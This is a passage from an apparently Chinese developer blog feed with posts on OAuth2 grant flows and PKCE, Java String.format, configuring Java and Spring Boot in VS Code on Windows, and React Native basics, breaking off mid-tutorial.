Client ID和Secret：注册完成后返回一个Client ID和Secret。Client ID一般是公开的，可用于组成登录URL，或者放在javascript页面的脚本中。Secret则必须保密。对原生App或者单页js应用，不能用Secret。此类应用最好别生成secret。

授权类型

授权码（Authorization Code），支持web 服务器，基于浏览器App及原生APP。
密码：登录时提供用户名和密码。仅用于同一家公司的不同app
客户端证书（Client credentials），用于访问时不需要用户参与。静默授权。
隐式（Implicit）：用于客户端没有密码的情况，已带PKCE的授权码取代。

下面对具有Web Server的web应用，web单页应用或基于浏览器的App，原生应用分别进行详述。

Web Server 应用

因为有服务器，且服务器非公开，所以是大多数的服务场景，且比较安全。

response_type=code - 表示服务器期望收到授权码。
client_id - 创建app时收到的client id。
redirect_uri - 授权完成时重定向到的地址
scope - 一到多个范围值，指示可以访问到的用户账号的哪些部分。
state - 第三方应用生成的随机串，可以用于后面验证，这样避免一些攻击。

弹出提示，说明哪个应用希望访问用户的哪些内容。如果用户同意访问，则重定向到第三方服务：

https://example-app.com/cb?code=AUTH_CODE_HERE&state=1234zyx

第三方应用应该比较state是否和发出的请求一致。避免被欺骗，换成其他AUTH_CODE_HERE

服务端获取access token

POST https://api.authorization-server.com/token
  grant_type=authorization_code&
  code=AUTH_CODE_HERE&
  redirect_uri=REDIRECT_URI&
  client_id=CLIENT_ID&
  client_secret=CLIENT_SECRET

redirect_uri=REDIRECT_URI 必须和原来注册时提供的一致

服务端返回：

{
  "access_token":"RsT5OjbzRn430zqMLgV3Ia",
  "expires_in":3600
}

或者遇到错误时：

{
  "error":"invalid_request"
}

单页浏览器App

浏览器会加载全部代码，所以不能存储密钥和客户端密码。可以采用授权码类似，但每次请求动态生成密码，即PKCE扩展。 老的标准是用“implict”模式，直接给客户端返回token，这有安全问题。现在推荐用PKCE模式。

创建一个43-128长度字符串，叫code_verifier，验证码，如： 5d2309e5bb73b864f989753887fe52f79ce5270395e25862da6940d5
将其用SHA256编码，再转为url-safe的base64编码，叫code_challenge，挑战码： MChCW5vD-3h03HMGFZYskOSTir7II_MMTb8a9rJNhnI 可以用 example-app.com/pkce 生成密码和hash

和授权码登录类似，但增加了code_challenge

https://authorization-server.com/auth?response_type=code&
  client_id=CLIENT_ID&redirect_uri=REDIRECT_URI&scope=photos&state=1234zyx&code_challenge=CODE_CHALLENGE&code_challenge_method=S256

code_challenge - URL-safe base64-encoded SHA256 hash （ secret）

https://example-app.com/cb?code=AUTH_CODE_HERE&state=1234zyx

获取授权码

POST https://api.authorization-server.com/token
  grant_type=authorization_code&
  code=AUTH_CODE_HERE&
  redirect_uri=REDIRECT_URI&
  client_id=CLIENT_ID&
  code_verifier=CODE_VERIFIER

*code_verifier=CODE_VERIFIER 一开始生成的随机字符串这防止了授权码请求被拦截时，还是不能获取访问token，因为没有验证码。

原生应用 Apps

原生应用和基于浏览器应用差不多，都不能保证密钥的安全。所以也采用授权码加PKCE扩展。

授权

创建一个“登录”按钮，点击后唤起授权App或者Web page。原生app可以创建自定义的模式scheme如：”example-app://”

使用原生服务app

假设安装了facebook app，采用如下url进入：

fbauth2://authorize?response_type=code&client_id=CLIENT_ID
  &redirect_uri=REDIRECT_URI&scope=email&state=1234zyx

redirect_uri=REDIRECT_URI - 当授权完成，指示用户跳转的URI。如 fb00000000://authorize
scope=email - 一到多个需要授权的资源

如果服务器支持PKCE，（自己提供的服务，应该支持PKCE）则应该带上相关参数：

code_challenge=XXXXXXX - base64-encoded sha256 hash（code verifier string）
code_challenge_method=S256 - hash方法, sha256.

使用独立浏览器

如果资源方没有独立App，则应该唤起一个独立浏览器来进行登录授权。不能直接用webview，这样无法保证是资源方提供的服务，容易被钓鱼。 iOS 9以后，可以用”SafariViewController”来打开嵌入式浏览器。它与独立浏览器共享cookie，也可以看到地址栏。还能阻止app偷窥以及修改浏览器内容，所以可以认为安全。

https://facebook.com/dialog/oauth?response_type=code&client_id=CLIENT_ID
  &redirect_uri=REDIRECT_URI&scope=email&state=1234zyx

如果服务支持PKCE，则应该带上相关参数。

获取授权码

用户点击“同意授权（Approve）”后，将被重定向到应用服务：

fb00000000://authorize?code=AUTHORIZATION_CODE&state=1234zyx

应用服务首先应该校验state，再用code去获取访问token。

与web server获取访问token基本相同，但不再带密钥secret，如果服务支持PKCE 则带上相关参数如code_verifie，如下：

POST https://api.authorization-server.com/token
  grant_type=authorization_code&
  code=AUTH_CODE_HERE&
  redirect_uri=REDIRECT_URI&
  client_id=CLIENT_ID&
  code_verifier=VERIFIER_STRING

授权服务校验并返回访问token。如果支持PKCE，则服务应该知道code是挑战生成，需要比较code_verifier运算后与挑战所带的hash是否一致。这样可以支持一些不支持秘钥secret的客户端。

密码方式

密码方式应该是同一家单位的不同服务。如微信桌面版和移动版。

POST https://api.authorization-server.com/token
  grant_type=password&
  username=USERNAME&
  password=PASSWORD&
  client_id=CLIENT_ID

没有secret字段，因为假设大多数这种场景是移动或桌面应用。

应用访问授权

某些情况下，应用需要授权访问服务提供者的服务，但不是代表用户，而是应用自身。如获取客户端访问统计数据。可以在后端用POST方法如下：

POST https://api.authorization-server.com/token
    grant_type=client_credentials&
    client_id=CLIENT_ID&
    client_secret=CLIENT_SECRET

服务提供方校验后，可以像其他方式一样返回token。

获取资源

拿到访问token后，就可以访问资源了，如下：

curl -H "Authorization: Bearer RsT5OjbzRn430zqMLgV3Ia" \
https://api.authorization-server.com/1/me

一定要用https协议，并且不要忽略无效证书。Https是唯一能够保护请求被拦截和修改的方式。

https安全

原生app或者浏览器app为何不能直接放密钥？因为app是完全控制在用户手中的。可以用各种手段进行脱壳，反编译，调试，监听。密钥可以直接在客户端采用strings等命令列出来。就算进行混淆，和服务端通信时也可以通过 https proxy如charles proxy监听到。

参考

OAuth2 相关标准
OAuth2 标准：RFC 6749，2012,IETF OAuth Working Group
OAuth 2.0 for Native Apps：RFC 8252
JWT标准：RFC 7519
PKCE(Proof Key for Code Exchange): RFC 7636
OAuth 2.1 草案
OAuth for Browser-Based Apps
OAuth 2.0 Security Best Current Practice
https://aaronparecki.com/oauth-2-simplified 作者Aaron Parecki 是W3C多个规范编辑， oauth.net网站主。
Charles Proxy Https代理
mitmproxy 免费MIT Https 代理

Java 字符串参数格式化

Wed, 29 Apr 2020 11:48:26 +0000

Java 字符串参数格式化

想设计一个模板, 直接将java的参数用进去。故整理一下java字符串参数格式化方法。

格式标志

格式化通用说明

general, character, numeric 类型

%[argument_index$][flags][width][.precision]conversion

dates and times

%[argument_index$][flags][width]conversion

非参数

 %[flags][width]conversion

如%n换行

举例

通用格式化

String output = String.format("%s = %d", "zhh", 25);
System.out.printf("My name is: %s%n", "zhh");

参数索引

用第2个参数,忽略第1个

String.format("%2$s", 32, "Hello"); // prints: "Hello"

字符串格式化

String.format("|%s|", "Hello World"); // prints: "Hello World"
String.format("|%30s|", "Hello World");
// |                   Hello World|
String.format("|%-30s|", "Hello World");
// |Hello World                   |
String.format("|%.5s|", "Hello World"); // prints: |Hello|
String.format("|%30.5s|", "Hello World"); // prints: |Hello|

|                         Hello|

## 货币格式化

String.format("|%,d|", 10000000); // prints: |10,000,000|

整形数字格式化

String.format("%d", 93); // prints 93
String.format("|%20d|", 93); // prints: |                  93|
String.format("|%-20d|", 93); // prints: |93                  |
String.format("|%020d|", 93); // prints: |00000000000000000093|
String.format("|%+20d|', 93); // prints: |                 +93|
String.format("|% d|", 93); // prints: | 93| String.format("|% d|", -36); // prints: |-36|
String.format("|%(d|", -36); // prints: |(36)|

// 增加前导0和0x
String.format("|%#o|", 93);
// prints: 0135
String.format("|%#x|", 93);
// prints: 0x5d
String.format("|%#X|", 93);
// prints: 0X5D

浮点格式化

StringBuilder sb = new StringBuilder();
// Send all output to the Appendable object sb
Formatter formatter = new Formatter(sb, Locale.CHINESE);
formatter.format(Locale.CHINESE, "e = |%+10.4f|", Math.E);
System.out.println(formatter.toString());
//e = |   +2.7183|
formatter.format("e = |%,.2f|", -Math.E*10000);
//e = |-27,182.82|
formatter.format("e = |%(,.2f|", -Math.E*10000);
//(可以取代负号,|(27,182.82)|

BigDecimal b = new BigDecimal(Math.PI*Math.pow(10,20));
formatter.format("big pi:|%.4f|",b);
//big pi:|314159265358979334144.0000|

日期格式化

常用的格式化标志,全集请参考java doc.

FLAG	NOTES
%tF	ISO 8601 formatted date with “%tY-%tm-%td“.
%tH	Hour of the day for the 24-hour clock e.g. “00” to “23“.
%tM	Minute within the hour formatted a leading 0 e.g. “00” to “59“.
%tm	Month formatted with a leading 0 e.g. “01” to “12“.
%tT	Time formatted as 24-hours e.g. “%tH:%tM:%tS“.
%tY	Year formatted with 4 digits e.g. “0000” to “9999“.
%tS	Seconds within the minute formatted with 2 digits e.g. “00” to “60”. “60” is required to support leap seconds.
%td	Day of the month formatted with two digits. e.g. “01” to “31“.
%tR	Time formatted as 24-hours e.g. “%tH:%tM“.

//月份从0开始,所以需要-1
Calendar c1 = new GregorianCalendar(2020, 4-1, 23);
String s = String.format("那天: %1$tY年%1$tm月%1$te日", c1);
//那天: 2020年03月23日
Calendar c = new GregorianCalendar();
String s = String.format("今天: %1$tY年%1$tm月%1$te日", c);
//今天: 2020年04月29日
s = String.format("今天时间: %1$tY年%1$tm月%1$te日 %1$tH时%1$tM分%1$tS秒", c);
//今天时间: 2020年04月29日 17时31分04秒

参考

https://docs.oracle.com/javase/8/docs/api/java/util/Formatter.html
https://dzone.com/articles/java-string-format-examples

windows vscode java环境配置

Sat, 04 Apr 2020 05:48:26 +0000

概述

最近需要用到windows开发环境，所以记录一下windows下用vscode进行java开发的环境配置。

环境

Windows 10
vscode
jdk8
jdk14
maven 3.6.3

下载jdk

oracle 在jdk 11以后，商业化生产环境使用需要license。所以采用openjdk。最新的是14.

但jdk8以后，版本号升级太快，大的更新较少。所以可以用长期支持版本jdk8或10.

下载地址

http://jdk.java.net/14/

下载后解压到指定地方，我是放在home下的java目录。

在桌面“此电脑”点右键，点开属性，找到环境变量。在系统环境变量添加

JAVA_HOME
```
C:\Users\ablo_\java\jdk-13.0.1
```

CLASSPATH

.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;

Path 添加 ``` %JAVA_HOME%\bin %JAVA_HOME%\jre\bin

## 下载maven
http://maven.apache.org/download.cgi

最新版3.6.3

### 环境变量
- Path
添加

C:\Users\ablo_\java\apache-maven-3.6.3\bin

### 配置maven镜像
由于境外很慢，所以配置阿里云maven镜像

C:\Users\ablo_.m2> notepad settings.xml

添加：

<?xml version=”1.0” encoding=”UTF-8”?>

alimaven aliyun maven https://maven.aliyun.com/repository/public central

在C:/Users/ablo_/java/apache-maven-3.6.3/conf/settings.xml 里面同样添加mirror里的内容。

# 下载配置vscode
- 官网：https://code.visualstudio.com/
- 下载地址：https://code.visualstudio.com/download

Windows下最好下载专门为java开发者配置的版本：
https://aka.ms/vscode-java-installer-win
其他操作系统则需手动设置jdk等配置。

打开扩展视图(Ctrl+Shift+X),
在扩展插件里搜java，
下载微软官方java extension pack及pivotal的Spring Boot  extension pack

单独的话需要 Language Support for Java(TM) by Red Hat及Spring Initializr Java Support，Maven for Java
等相关插件。

其中，java extension pack 包含：
1. Language Support for Java(TM) by Red Hat
1. Debugger for Java
1. Java Test Runner
1. Maven for Java
1. Java Dependency Viewer
1. Visual Studio IntelliCode

Spring Boot Extension Pack 包含Spring Initializr Java Support，Spring Boot Tools，Spring Boot Dashboard，Cloud Foundry Manifest YML Support，Concourse CI Pipeline Editor等组件。


根据需要，再下载其他相关插件即可：
1. Spring Boot Tools
1. Spring Initializr Java Support
1. Spring Boot Dashboard
1. Tomcat
1. Jetty
1. CheckStyle
2. Lombok Annotations Support for VS Code


安装完插件可能需要重启vscode。

## 配置maven
打开 `File->Preferences->Settings`，搜索 maven，点击editing in settings.json

在打开的文件中填入

“maven.executable.path”: “C:/Users/ablo_/java/apache-maven-3.6.3/bin/mvn.cmd”, “java.configuration.maven.userSettings”: “C:/Users/ablo_/java/apache-maven-3.6.3/conf/settings.xml”,

"java.home": "C:\\Users\\ablo_\\java\\jdk-13.0.1",

"maven.terminal.customEnv": [
    {
        "environmentVariable": "JAVA_HOME",       
        "value": "C:\\Users\\ablo_\\java\\jdk-13.0.1"       
    }
], ``` 不使用vs自带的maven更可控一些。

测试java项目

按ctrl+shift+p,键入maven 点击Maven:create maven project. 根据提示完成，即生成一个maven项目。

如要生成gradle项目，则需配置相应gradle环境。

打开目录后，已经生成缺省的项目。

添加调试configuration

按ctrl+shift+d，进入调试界面。左上方点击add configuration，打开launch.json。这个文档一般会自动生成。也可手动修改。

{
    // Use IntelliSense to learn about possible attributes.
    // Hover to view descriptions of existing attributes.
    // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
        {
            "type": "java",
            "name": "Debug (Launch) - External Console",
            "request": "launch",
           "cwd":"${workspaceRoot}",
            "mainClass": "${file}",
            "console": "externalTerminal"
            "jdkPath": "${env:JAVA_HOME}/bin",
            
        },
        {
            "type": "java",
            "name": "Debug (Launch)-Main",
            "request": "launch",
            "mainClass": "",
            "args":"",
            "console":"integratedTerminal",
            "projectName": ""
        }
    ]
}

至此，环境配置完成。

测试spring boot

确认安装spring boot extension pack 和lombok automations support for vs code

ctrl+shift+p 输入spring，选择initializr: Create a Maven Project. 根据提示选择组件。我选择了spring boot web, jpa, lombok, h2, mybatis等组件。

创建完成。

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>
	<parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.2.1.RELEASE</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>
	<groupId>com.abloz</groupId>
	<artifactId>demo1</artifactId>
	<version>0.0.1-SNAPSHOT</version>
	<name>demo</name>
	<description>Demo project for Spring Boot</description>

	<properties>
		<java.version>1.8</java.version>
	</properties>

	<dependencies>

		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-web</artifactId>
		</dependency>
		<dependency>
			<groupId>org.mybatis.spring.boot</groupId>
			<artifactId>mybatis-spring-boot-starter</artifactId>
			<version>2.1.1</version>
		</dependency>

		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-devtools</artifactId>
			<scope>runtime</scope>
			<optional>true</optional>
		</dependency>
		<dependency>
			<groupId>org.projectlombok</groupId>
			<artifactId>lombok</artifactId>
			<version>1.18.10</version>
			<scope>provided</scope>
		</dependency>
		<!-- 添加 Spring Data JPA 依赖 -->  
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-data-jpa</artifactId>
		</dependency> 

		<dependency>
			<groupId>com.h2database</groupId>
			<artifactId>h2</artifactId>
			<scope>runtime</scope>
		</dependency>
		<dependency>
			<groupId>mysql</groupId>
			<artifactId>mysql-connector-java</artifactId>
			<scope>runtime</scope>
		</dependency>
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-test</artifactId>
			<scope>test</scope>
			<exclusions>
				<exclusion>
					<groupId>org.junit.vintage</groupId>
					<artifactId>junit-vintage-engine</artifactId>
				</exclusion>
			</exclusions>
		</dependency>
	
 </dependencies>

	<build>
		<plugins>
			<plugin>
				<groupId>org.springframework.boot</groupId>
				<artifactId>spring-boot-maven-plugin</artifactId>
			</plugin>
		</plugins>
	</build>

</project>

application.yml

server:
  port: 8080
spring:
  datasource:
    url: jdbc:h2:~/test
    driver-class-name: org.h2.Driver
    username: sa
    password: 123456

  jpa:
    database: h2
    hibernate:
      ddl-auto: update
    show-sql: true
  h2:
    console:
      path: /h2-console
      enabled: true

DemoApplication.java

package com.abloz.demo1;

import org.springframework.beans.factory.InitializingBean;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;

@SpringBootApplication
public class DemoApplication {

    @Bean
    InitializingBean initUser(UserRepo repo){
        return ()->{
            repo.save(new User((long)1,"张三",20,1));
            repo.save(new User(2L,"李四",22,1));
            repo.save(new User(0L, "西施",18,0));
            repo.save(new User(0L, "貂蝉",15,0));
            
        };
    }
	public static void main(String[] args) {
		SpringApplication.run(DemoApplication.class, args);
	}

}

HelloController.java

package com.abloz.demo1;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.util.List;

@Controller
public class HelloController {

    @Autowired
    private UserRepo userRepo;

    @ResponseBody
    @RequestMapping("/hello")
    public List<User> hello(){
        return userRepo.findAll();
    }
}

User.java

package com.abloz.demo1;

import javax.persistence.*;

import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
@Entity
@Data
@AllArgsConstructor
@NoArgsConstructor
public class User {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    private String name;
    private Integer age;
    private Integer sex;
}

UserRepo.java

package com.abloz.demo1;

import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.stereotype.Repository;

@Repository
public interface UserRepo extends JpaRepository<User, Long> {
    

}

执行

访问 http://localhost:8080/h2-console，数据库输入 jdbc:h2:~/test，用户sa，密码123456 登入，可以看到User表和相关数据。

访问 http://localhost:8080/hello 可以看到User的Json数据。

error

Cannot find debug adapter for type ‘java’

将home下的.vscode里面清空，重新安装插件

Extension host terminated unexpectedly.

参考

https://code.visualstudio.com/docs/languages/java

react native入门

Sat, 04 Apr 2020 05:48:26 +0000

react native 概况

React native 是facebook开源的移动框架。用JavaScript语言为主，基于React框架。是适合跨平台移动开发的框架，具有比用webview混合开发更好的性能，又具有h5那样编写一次，跨平台运行的较低维护成本。而且可以和原生很好的结合。

重要特性如下：

支持 ES2015 ( ES6)

ES2015 features

如 import, from，class，extends，箭头函数

JSX

一般将代码嵌在xml里，但JSX反其道而行之。是将xml嵌在js里。

 <View><Text>Hello world!</Text></View>
 
 <View>类似 <div> 或 <span> 

是显示字符的[核心组件](https://reactnative.dev/docs/intro-react-native-components) ## 组件（Components）屏幕上见到的都是组件。App是组件。组件非常基础，只需要一个render函数，返回jsx渲染。下面对相关细节进行详细介绍。 # 属性 Props 所有组件可以被不同参数初始化，这些参数叫props，即Properties的简写。如创建组件Image，可以使用source属性来决定显示的内容。 ``` import React, { Component } from 'react'; import { Image } from 'react-native'; export default class Bananas extends Component { render() { let pic = { uri: 'https://upload.wikimedia.org/wikipedia/commons/d/de/Bananavarieties.jpg' }; return ( <Image source={pic} style=/> ); } } ``` pic外面的大括号{pic}，用于在JSX中使用变量pic。style 为什么要用双大括号？因为第一层大括号表示是js的变量，第二层大括号，就是style必须传入对象，所以用大括号括起来。下面是自定义变量 ``` import React, { Component } from 'react'; import { Text, View } from 'react-native'; class Greeting extends Component { render() { return ( <View style=> Hello {this.props.name}! </View> ); } } export default class LotsOfGreetings extends Component { render() { return ( <View style=> </View> ); } } ``` View 像一个容器一样，将其他组件嵌在里面。 # State 状态组件有两种数据，一种props，一种state。 props是静态的数据，在组件整个生命周期不变。而state则是可变的。一般初始化组件时初始化state，再用setState来修改。 ``` import React, { Component } from 'react'; import { Text, View } from 'react-native'; class Blink extends Component { componentDidMount(){ // Toggle the state every second setInterval(() => ( this.setState(previousState => ( { isShowingText: !previousState.isShowingText } )) ), 1000); } //state object state = { isShowingText: true }; render() { if (!this.state.isShowingText) { return null; } return ( {this.props.text} ); } } export default class BlinkApp extends Component { render() { return ( ); } } ``` 可以在从服务器获得数据时或者用户输入时设置状态。也可以用状态容器如： 1. [Redux](https://redux.js.org/) 2. [Mobx](https://cn.mobx.js.org/) 来控制数据流。采用 Redux 或 Mobx修改状态而不是直接 setState. setState 被调用时，组件会被重新渲染。 # 样式 style 所有组件都有缺省属性style。名称和值意义和css一样。但都用驼峰写法。如backgroundColor ，而非background-color。 style属性通常是普通js对象。也可以传一个style数组，最后一个同样名称的值覆盖前面的。 ``` import React, { Component } from 'react'; import { StyleSheet, Text, View } from 'react-native'; const styles = StyleSheet.create({ bigBlue: { color: 'blue', fontWeight: 'bold', fontSize: 30, }, red: { color: 'red', }, }); export default class LotsOfStyles extends Component { render() { return ( <Text style={styles.red}>just red</Text> <Text style={styles.bigBlue}>just bigBlue</Text> <Text style={[styles.bigBlue, styles.red]}>bigBlue, then red</Text> <Text style={[styles.red, styles.bigBlue]}>red, then bigBlue</Text> ); } } ``` [Text component reference ](https://reactnative.dev/docs/text) ## 自适应 Flex Dimensions flex样式是自动适应的。flex: 1 适应全部空间。 ``` import React, { Component } from 'react'; import { View } from 'react-native'; export default class FlexDimensionsBasics extends Component { render() { return ( // Try removing the `flex: 1` on the parent View. // The parent will not have dimensions, so the children can't expand. // What if you add `height: 300` instead of `flex: 1`? <View style=> <View style= /> <View style= /> <View style= /> </View> ); } } ``` # 布局 1. https://reactnative.dev/docs/flexbox 1. https://yogalayout.com/playground 1. https://reactnative.dev/docs/layout-props 1. [Wix Engineers](https://medium.com/wix-engineering/the-full-react-native-layout-cheat-sheet-a4147802405c) flexDirection 方向主轴main axis 有如下类型 1. row 1. column (default value) 1. row-reverse 1. column-reverse ```<View style=>``` ## 布局方向 Layout Direction 影响边缘开始和结束，有自左向右`LTR`和自右向左`RTL`两种模式 - LTR (缺省值) 文本和子节点排列自左向右。Margin(外边距) 和 padding (内边距) 计算元件起点以左边开始。 `start` 指向左 `end` 指向右。 - RTL 文本和子节点排列自右向左。Margin(外边距) 和 padding (内边距) 计算元件起点以右边开始。 `start` 指向右 `end` 指向左。 ## 内容调整 justifyContent 在`容器`主轴上对子元素进行对齐。如可以将子元素横向居中排列，设置flexDirection为row即可。有如下的值： - flex-start(default value) Align children of a container to the start of the container's main axis. - flex-end Align children of a container to the end of the container's main axis. - center Align children of a container in the center of the container's main axis. - space-between Evenly space of children across the container's main axis, distributing remaining space between the children. - space-around Evenly space of children across the container's main axis, distributing remaining space around the children. Compared to space-between using space-around will result in space being distributed to the beginning of the first child and end of the last child. - space-evenly Evenly distributed within the alignment container along the main axis. The spacing between each pair of adjacent items, the main-start edge and the first item, and the main-end edge and the last item, are all exactly the same. 示例： ``` import React, { Component } from 'react'; import { View } from 'react-native'; export default class JustifyContentBasics extends Component { render() { return ( // Try setting `justifyContent` to `center`. // Try setting `flexDirection` to `row`. <View style=> <View style= /> <View style= /> <View style= /> </View> ); } }; ``` ## 对齐 alignItems 是以容器交叉轴来对齐的。元素对齐和 justifyContent 很像，但以交叉轴来对齐。有如下的值： - stretch (default value) Stretch children of a container to match the height of the container's cross axis. - flex-start Align children of a container to the start of the container's cross axis. - flex-end Align children of a container to the end of the container's cross axis. - center Align children of a container in the center of the container's cross axis. - baseline Align children of a container along a common baseline. Individual children can be set to be the reference baseline for their parents. 示例： ``` import React, { Component } from 'react'; import { View } from 'react-native'; export default class AlignItemsBasics extends Component { render() { return ( // Try setting `alignItems` to 'flex-start' // Try setting `justifyContent` to `flex-end`. // Try setting `flexDirection` to `row`. <View style=> <View style= /> <View style= /> <View style= /> </View> ); } }; ``` ## 自身对齐 alignSelf 和 alignItems 有一样的选项。但不是影响子元素，而是调整自身和父元素的对齐。 alignSelf覆盖父元素用alignItems设置的任何选项。 ## 内容对齐 alignContent 定义交叉轴线的分布。仅对采用flexWrap进行多线封装的元素起作用。 - flex-start (default value) Align wrapped lines to the start of the container's cross axis. - flex-end Align wrapped lines to the end of the container's cross axis. - stretch wrapped lines to match the height of the container's cross axis. - center Align wrapped lines in the center of the container's cross axis. - space-between Evenly space wrapped lines across the container's main axis, distributing remaining space between the lines. - space-around Evenly space wrapped lines across the container's main axis, distributing remaining space around the lines. Compared to space between using space around will result in space being distributed to the begining of the first lines and end of the last line. ![image](https://cdn-images-1.medium.com/max/800/1*cC2XFyCF_igp20Ombt4wBw.png) # 自适应换行 flexWrap property is set on containers and controls what happens when children overflow the size of the container along the main axis. By default children are forced into a single line (which can shrink elements). If wrapping is allowed items are wrapped into multiple lines along the main axis if needed. When wrapping lines alignContent can be used to specify how the lines are placed in the container. learn more here ![image](https://cdn-images-1.medium.com/max/800/1*_7v4uQhSsuCn1cfeOMVfrA.png) ## Flex Basis, Grow, and Shrink flexGrow describes how any space within a container should be distributed among its children along the main axis. After laying out its children, a container will distribute any remaining space according to the flex grow values specified by its children. flexGrow accepts any floating point value >= 0, with 0 being the default value. A container will distribute any remaining space among its children weighted by the child’s flex grow value. flexShrink describes how to shrink children along the main axis in the case that the total size of the children overflow the size of the container on the main axis. Flex shrink is very similar to flex grow and can be thought of in the same way if any overflowing size is considered to be negative remaining space. These two properties also work well together by allowing children to grow and shrink as needed. Flex shrink accepts any floating point value >= 0, with 1 being the default value. A container will shrink its children weighted by the child’s flex shrink value. flexBasis is an axis-independent way of providing the default size of an item along the main axis. Setting the flex basis of a child is similar to setting the width of that child if its parent is a container with flexDirection: row or setting the height of a child if its parent is a container with flexDirection: column. The flex basis of an item is the default size of that item, the size of the item before any flex grow and flex shrink calculations are performed. ## 宽高宽高的值: - auto Is the default Value, React Native calculates the width/height for the element based on its content, whether that is other children, text, or an image. - pixels Defines the width/height in absolute pixels. Depending on other styles set on the component, this may or may not be the final dimension of the node. - percentage Defines the width or height in percentage of its parent's width or height respectively. ## 绝对和相对布局 Absolute & Relative Layout 元素的位置(position)类型，定义该元素在父元素内的位置。 - relative (default value) By default an element is positioned relatively. This means an element is positioned according to the normal flow of the layout, and then offset relative to that position based on the values of top, right, bottom, and left. The offset does not affect the position of any sibling or parent elements. - absolute When positioned absolutely an element doesn't take part in the normal layout flow. It is instead laid out independent of its siblings. The position is determined based on the top, right, bottom, and left values. ![image](https://cdn-images-1.medium.com/max/800/1*NlPeRQCQK3Vb5nyjL0Mqxw.png) # 字符输入将单词转为一个pissa ``` import React, { Component } from 'react'; import { Text, TextInput, View } from 'react-native'; export default class PizzaTranslator extends Component { constructor(props) { super(props); this.state = {text: ''}; } render() { return ( <View style=> <TextInput style= placeholder="Type here to translate!" onChangeText={(text) => this.setState({text})} value={this.state.text} /> <Text style=> {this.state.text.split(' ').map((word) => word && '🍕').join(' ')}

  </View>
);   } }

# 触摸
[ gesture responder system ](https://reactnative.dev/docs/gesture-responder-system)

## 按钮 Button

<Button onPress={() => { alert(‘You tapped the button!’); }} title=”Press Me” />

import React, { Component } from ‘react’; import { Button, StyleSheet, View } from ‘react-native’;

export default class ButtonBasics extends Component { _onPressButton() { alert(‘You tapped the button!’) }

render() { return ( <View style={styles.container}> <View style={styles.buttonContainer}> <Button onPress={this._onPressButton} title=”Press Me” /> </View> <View style={styles.buttonContainer}> <Button onPress={this._onPressButton} title=”Press Me” color=”#841584” /> </View> <View style={styles.alternativeLayoutButtonContainer}> <Button onPress={this._onPressButton} title=”This looks great!” /> <Button onPress={this._onPressButton} title=”OK!” color=”#841584” /> </View> </View> ); } }

const styles = StyleSheet.create({ container: { flex: 1, justifyContent: ‘center’, }, buttonContainer: { margin: 20 }, alternativeLayoutButtonContainer: { margin: 20, flexDirection: ‘row’, justifyContent: ‘space-between’ } });

## 触摸组件 Touchable
自定义触摸效果时使用。
触摸组件 Touchable 可以获取触摸操作的手势，当手势被识别时，可以显示相应的响应。该组件没有提供缺省的样式，所以需要做一点工作以便在app中看起来比较舒畅。

使用哪种触摸组件，取决于需要什么样的反馈。

- TouchableHighlight ：任何地方都可使用，如按钮或链接。点击时背景会变暗。
- TouchableNativeFeedback：在 Android 上点击时显示墨水波纹。
- TouchableOpacity 当被按下时，增加透明度反馈，允许背景被看到。
- TouchableWithoutFeedback：只想处理点击，但不需要任何可见的反馈，可以使用它。

import React, { Component } from ‘react’; import { Platform, StyleSheet, Text, TouchableHighlight, TouchableOpacity, TouchableNativeFeedback, TouchableWithoutFeedback, View } from ‘react-native’;

export default class Touchables extends Component { _onPressButton() { alert(‘You tapped the button!’) }

_onLongPressButton() { alert(‘You long-pressed the button!’) }

render() { return ( <View style={styles.container}> <TouchableHighlight onPress={this._onPressButton} underlayColor=”white”> <View style={styles.button}> <Text style={styles.buttonText}>TouchableHighlight</Text> </View> </TouchableHighlight> <TouchableOpacity onPress={this._onPressButton}> <View style={styles.button}> <Text style={styles.buttonText}>TouchableOpacity</Text> </View> </TouchableOpacity> <TouchableNativeFeedback onPress={this._onPressButton} background={Platform.OS === ‘android’ ? TouchableNativeFeedback.SelectableBackground() : ‘’}> <View style={styles.button}> <Text style={styles.buttonText}>TouchableNativeFeedback {Platform.OS !== ‘android’ ? ‘(Android only)’ : ‘’}</Text> </View> </TouchableNativeFeedback> <TouchableWithoutFeedback onPress={this._onPressButton} > <View style={styles.button}> <Text style={styles.buttonText}>TouchableWithoutFeedback</Text> </View> </TouchableWithoutFeedback> <TouchableHighlight onPress={this._onPressButton} onLongPress={this._onLongPressButton} underlayColor=”white”> <View style={styles.button}> <Text style={styles.buttonText}>Touchable with Long Press</Text> </View> </TouchableHighlight> </View> ); } }

const styles = StyleSheet.create({ container: { paddingTop: 60, alignItems: ‘center’ }, button: { marginBottom: 30, width: 260, alignItems: ‘center’, backgroundColor: ‘#2196F3’ }, buttonText: { textAlign: ‘center’, padding: 20, color: ‘white’ } });

# 滚动视界 ScrollView 
提供滚动展示和操作，但一次加载全部数据。

import React, { Component } from ‘react’; import { ScrollView, Image, Text } from ‘react-native’;

